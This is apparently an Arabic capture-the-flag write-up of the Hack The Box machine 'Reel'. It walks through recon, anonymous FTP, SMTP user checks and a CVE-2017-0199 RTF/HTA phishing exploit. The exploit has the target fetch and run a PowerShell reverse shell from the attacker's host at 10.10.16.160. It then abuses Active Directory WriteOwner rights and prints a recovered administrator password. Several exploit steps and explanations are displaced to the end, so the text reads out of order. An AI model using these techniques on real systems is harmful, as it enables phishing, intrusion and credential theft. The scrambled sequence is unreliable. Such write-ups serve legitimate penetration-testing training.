مقدمة لازمة جدا, الموضوع اخد مني حوالي يومين و نص, الموضوع صعب عم حذرك من هلق
ضب غراضك, جيب مأونة لكم يوم لقدام, nishang, powershell, reverse shells, cve, encrypt/decrypt ... etc
اي شي تحتاجه للنجاة, رايحين الغابة يا صديقي.
Recon
NMAP
nmap -sV -sC -p- -Pn 10.10.10.77
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-14 06:41 EDT
Stats: 0:05:15 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 60.23% done; ETC: 06:50 (0:03:27 remaining)
Nmap scan report for 10.10.10.77
Host is up (0.21s latency).
Not shown: 65527 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-29-18 12:19AM <DIR> documents
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
| 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
| 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp open smtp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe:
| 220 Mail Service ready
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| Hello:
| 220 Mail Service ready
| EHLO Invalid domain address.
| Help:
| 220 Mail Service ready
| DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| SIPOptions:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| sequence of commands
| TerminalServerCookie:
| 220 Mail Service ready
|_ sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49159/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.91%I=7%D=5/14%Time=609E5614%P=x86_64-pc-linux-gnu%r(NULL
SF:,18,"220\x20Mail\x20Service\x20ready\r\n")%r(Hello,3A,"220\x20Mail\x20S
SF:ervice\x20ready\r\n501\x20EHLO\x20Invalid\x20domain\x20address\.\r\n")%
SF:r(Help,54,"220\x20Mail\x20Service\x20ready\r\n211\x20DATA\x20HELO\x20EH
SF:LO\x20MAIL\x20NOOP\x20QUIT\x20RCPT\x20RSET\x20SAML\x20TURN\x20VRFY\r\n"
SF:)%r(GenericLines,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20s
SF:equence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r
SF:\n")%r(GetRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20
SF:sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\
SF:r\n")%r(HTTPOptions,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x
SF:20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20command
SF:s\r\n")%r(RTSPRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad
SF:\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comma
SF:nds\r\n")%r(RPCCheck,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSVer
SF:sionBindReqTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSStatusReq
SF:uestTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SSLSessionReq,18,"2
SF:20\x20Mail\x20Service\x20ready\r\n")%r(TerminalServerCookie,36,"220\x20
SF:Mail\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\
SF:n")%r(TLSSessionReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(Kerbero
SF:s,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SMBProgNeg,18,"220\x20Mai
SF:l\x20Service\x20ready\r\n")%r(X11Probe,18,"220\x20Mail\x20Service\x20re
SF:ady\r\n")%r(FourOhFourRequest,54,"220\x20Mail\x20Service\x20ready\r\n50
SF:3\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\
SF:x20commands\r\n")%r(LPDString,18,"220\x20Mail\x20Service\x20ready\r\n")
SF:%r(LDAPSearchReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(LDAPBindRe
SF:q,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SIPOptions,162,"220\x20Ma
SF:il\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n5
SF:03\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of
SF:\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\
SF:x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comman
SF:ds\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequenc
SF:e\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\
SF:x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x2
SF:0commands\r\n");
Service Info: Host: REEL; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -4m47s, deviation: 34m35s, median: 15m10s
| smb-os-discovery:
| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::-
| Computer name: REEL
| NetBIOS computer name: REEL\x00
| Domain name: HTB.LOCAL
| Forest name: HTB.LOCAL
| FQDN: REEL.HTB.LOCAL
|_ System time: 2021-05-14T12:09:07+01:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-05-14T11:09:04
|_ start_date: 2021-05-14T10:38:20
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 765.89 seconds
FTP
1- نتصل بال FTP
ftp 10.10.10.77
ادخل باسم المستخدم و كلمة السر anonymous/anonymous
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-29-18 12:19AM <DIR> documents
226 Transfer complete.
ftp>
2- مندخل للمجلد و منزل كلشي ب mget
ftp> cd documents
250 CWD command successful.
ftp> mget *
mget AppLocker.docx? y
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 9 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
2047 bytes received in 0.56 secs (3.5965 kB/s)
mget readme.txt? y
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
124 bytes received in 0.34 secs (0.3586 kB/s)
mget Windows Event Forwarding.docx? y
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 51 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
14581 bytes received in 0.98 secs (14.5903 kB/s)
ftp>
نزلنا الملفات, هلق منتحقق منها
Checking the files
└─$ cat readme.txt
please email me any rtf format procedures - I'll review and convert.
new format / converted documents will be saved here.
الكلام هون مثير للاهتمام بسبب شغلتين rtf format & email me السبب كلاتي:
1- email me بتعني ان نظريتي تبعيت ال email phishing صحيحة و ارسال rtf fromat بتدعمها للسبب 2
2- rtf format بتشير لنوع من انواع الفيروسات الخبيثة الي بتم حقنها بملفات متل ملفات ال word, pdf .. etc
نشوف البقية:
1- Windows Event Forwarding.docx مافيه شي
2- AppLocker.docx هيدا فيه رسالة ذاكرة شوية انواع من الملفات
AppLocker procedure to be documented - hash rules for exe, msi and scripts (ps1,vbs,cmd,bat,js) are in effect
Checking the metadata
لحد الان ما معنا شي بإيدينا بحيث نستخدمه, ففكرت اني اعمل email enumeration عن طريق ال SMTP بس هاد مرهق.
حسب "نصل أوكام" او "مبدأ أوكام" بقلك بالمعنى الحرفي لكلامه : أبسط تفسير هو الأفضل عادة
Occam’s razor - the simplest explanation is usually the best one.
exiftool "Windows Event Forwarding.docx"
ExifTool Version Number : 12.16
File Name : Windows Event Forwarding.docx
Directory : .
File Size : 14 KiB
File Modification Date/Time : 2021:05:15 12:22:55-04:00
File Access Date/Time : 2021:05:15 12:31:08-04:00
File Inode Change Date/Time : 2021:05:15 12:22:55-04:00
File Permissions : rw-r--r--
File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version : 20
Zip Bit Flag : 0x0006
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0x82872409
Zip Compressed Size : 385
Zip Uncompressed Size : 1422
Zip File Name : [Content_Types].xml
Creator : nico@megabank.com
Revision Number : 4
Create Date : 2017:10:31 18:42:00Z
Modify Date : 2017:10:31 18:51:00Z
Template : Normal.dotm
Total Edit Time : 5 minutes
Pages : 2
Words : 299
Characters : 1709
Application : Microsoft Office Word
Doc Security : None
Lines : 14
Paragraphs : 4
Scale Crop : No
Heading Pairs : Title, 1
Titles Of Parts :
Company :
Links Up To Date : No
Characters With Spaces : 2004
Shared Doc : No
Hyperlinks Changed : No
App Version : 14.0000
في شوية معلومات مهمة و اهمها هو الايميل, انا تحققت من الملفين التانيين, مافي شي مهم.
Check the founded email
قبل ما نكمل بخطتنا الشريرة و نبدأ مع ملف ال rtf, بدي اتأكد ان الايميل هاد موجود عن طريق ال SMTP
telnet 10.10.10.77 25
HELO domain
MAIL FROM: <email>
RCPT TO: <nico@megabank.com>
مكان كلمة domain حط اي دومين ما ضروري حقيقي, اي شي
مكان كلمة email حط اي ايميل كمان, بس خلي العلامتين هدول <>
الرد 250 OK بعني ان الايميل موجود, لو جربنا ايميل ما موجود رح يكون الرد 550 Unknown user
طيب بما انو اتحققنا من انو الايميل موجود, خلينا نعمل الحيلة اللطيفة تبعيت ال rtf file
Exploit
CVE-2017-0199
ازا بحثت عن شي متعلق بال RTF melicouse file رح تلاقي cve-2017-0199 في كتير ناس شارحتها بالانجلش سواء محللتها او كيف تستغل اصلا, خطوات الاستغلال كلاتي:
1- اتجهز البايلود انا استخدمت ال revrse shell ال اسمه Invoke-PowerShellTcp.ps1 و الي هو كمان قسم من تجميعة nishang, طبعا لازم تعدل عليه و اضيف باخر السكريبت الاتي:
python ~/Documents/Tools/CVE-2017-0199/cve-2017-0199_toolkit.py -M gen -w mhzcyber.rtf -u 'http://10.10.16.160:8000/myhta.hta' -x 0
طبعا اكيد عدل هون ال link او رابط الملف و حط الرابط العندك و حط اسم الملف متل ماهو عندك
4- انك تشغل HTTP server عندك و انا اخترت SimpleHTTPServer سلسل و سريع و مهضوم
5- تشغل listener او بالعربي متنصت اي اداة شغلتها تتنصت على الport/المنفذ الي رح يرجع يتصل عليه ال reverse shell انا رح استخدام ال swiss army knife تبعيتنا Netcat
طبعا بما اننا مع صلاحيات جديدة و في ssh يعني في scp فسهل انو نرفع ملفات للماشين و ننزل منها ملفات, فرح نبدأ بجمع المعلومات او ال enum
انا استخدمت SharpHound + BloodHound
1- ارفع sharphound.ps1
scp SharpHound.ps1 tom@10.10.10.77:Desktop
powershell -ep bypass
3- شغل sharphound
Invoke-Bloodhound -CollectionMethod All
4- نزل الملف لجهازك, نفذ الامر هاد من جهاز ما من جهاز الهدف او الماشين
طبعا بحثت عن المستخدمين الي اخترقناهم من قبل nico , tom و عملتهم بالجمجمة اللطيفة الي شايفها على توم "Mark user as owned"
اضغط على المستخدم tom بعدها Node Info و بعدها First Degree Object Control
متل ما شايفين tom عنده اذون writeowner على claire
هاد بعني ان فينا نعمل abuse للأذونات هي و ناخد access او نوصل للمستخدم claire, بس انا فتى كسول و محتاج سبب لأعمل هيك
يعني بالله عليك انك تدخل على مستخدم تاني امر حلو "Bravoo" بس ماشي محفز جدا
اعمل بحث على Claire
متل ما شايف claire عندها كمان اذونات على ال security group الي اسمها BACKUP_ADMINS
اذا ضفنا نفسنا للمجموعة ف رح ناخد اذونات على ملفات ال backup برامج لل backup و ما الى ذلك
First trying to privesc - Failed
حاولت اني اطبق نفس التكنيك الي عملناه على nico بس ما نفع
Privesc to Claire - WriteOwner Abuse
اول شي منرفع powerview.ps1 و منعمللها استدعاء او منشغلها
scp powerview.ps1 tome@10.10.10.77:Desktop
powershell -ep bypass
. .\powerview.ps1
تاني شي منعرف متغيرين و منحط فيهم كلمة السر و اسم المسخدم بالشكل التالي:
نحن بالاصل منعرف ان claire عندها أذونات على ال bakcup_admins بس هي ما من ضمن المجموعة كيف نعرف ؟ سهل منستخدم powerview منطلع ال domain group و منفلتره حسب ال member identity و منعمل pipe و منعمل select لل sam account name هي عبارة عن Active Directory Enum 101
Group name Backup_Admins
Comment
Members
-------------------------------------------------------------------------------
ranj
The command completed successfully.
Get Claire in Backup_Admins group
هون رح نحط كلمة السر و المستخدمة بمتغيرات متل ما عملنا مع توم
نحن قلنا انو حصولنا على الاذون من ال backup_admins group او ان نكون من المستخدمين جوا هي المجموعة رح يسمحلنا نطلع على ملفات backup و برامج و اشياء أخرى, فأول شي يجي ببالي اني ادور على هيك شي و وين مكان احلى من ال Desktop تبع الادمن
متل ما شايفين هون في كتير ملفات backups و في طريقة معروفة بالمجال و في ادوات الها و هي البحث الاتوماتيكي و في طرق باستخدام اوامر لينكس متل تعمل cat بعدها grep لكلمات معينة, نفس الشي بتعمله ازا عم تسوي web bug hunting و عندك مثلا js files
او متل ما انا شرحت بالفقرة تبعيت ال IoT Pentest باكاديمية cybersky , كيف ممكن تبحث عن مستخدمين و hardcoded passwords جوا ال Firmware
استخدم الامر التالي
type * | findstr password
# admin password
$password="Cr4ckMeIfYouC4n!"
SSH with Administrator
ssh administrator@10.10.10.77
The End
ملاحظة : حاول تخلي كلشي مرتب كلاتي:
هي كانت ماشين لطيفة ما صعبة كتير بس ممتعة, احب اقلك اني اخترقت كل المستخدمين الموجودين و الامر بالنسبة الي كان سهل جدا
ف حابب اشوف الشباب الي رح يلعبوا هي عم يخترقو غير users و يلاقو طرق تانية و يبعتولي ياها, حطيت معلومات التواصل تحت.
Happy Hacking
MHZ-Cyber
Contact Info
عنا شوية شغلات مثيرة للاهتمام اولها لان هاد البروتوكول بستخدم بالايميلات و هاد بشير ان في عنا او التصيد عبر البريد الإلكتروني - مجرد نظرية
تانيا عنا فيه مجلد باسم documents مع الدخول ك anonymous
و اخيرا في
بطريقة اخرى هاد بعني الحل الأبسط هو الصح عادة, فقلت طيب خلينا نشوف ال بواسطتها ممكن نعرف معلومات عن الملف نفسه, رح استخدم اداة exiftool
طبعا عدل على ال IP و ال Port ,هاد الملف الي رح ينحط مع ملف ال HTA
2- تعمل ملف hta و هاد الي هو الملف الخبيث او الضار الي اما رح يحمل ملف من شي محل, ينفذ كود او شغلات تانية, بتعملو ب سكريبت اسمه Out-HTA.ps1 و الي هو جزء من تجميعة
هو انت رح تختار شو رح يسوي ملف ال hta انا اخترت PayloadURL هي رح تاخد منك الرابط تبع البايلود و تحمله و تشغله على جهاز الهدف
في طرق تانية متل انك تحط البايلود على طول او انك اضيف خيارات تانية, بس من تجارب الي سابقة بس حطيت بايلود و رح تبعته احيانا بصير مشاكل, متل مرة عم استغل ثغرة بموقع و عم ابعت بايلود كان الموضوع RCE صار يحصل نوع من ال encoding و يخرب السكريبت و انجبرت امر بقصة طويلة من ال encoding, decoding, و تقسيم البايلود
3- تعمل ملف rtf ب cve-2017-0199_toolkit.py و تدمج معه ملف ال hta
اسم مستخدم Tom و كلمة سر مشفرة .
هي عبارة عن PSCredential و الي هي متل object و بكون فيها ال security credentials يعني متل اسم المستخدم و الباسورد.
(لمعلومات اكثر)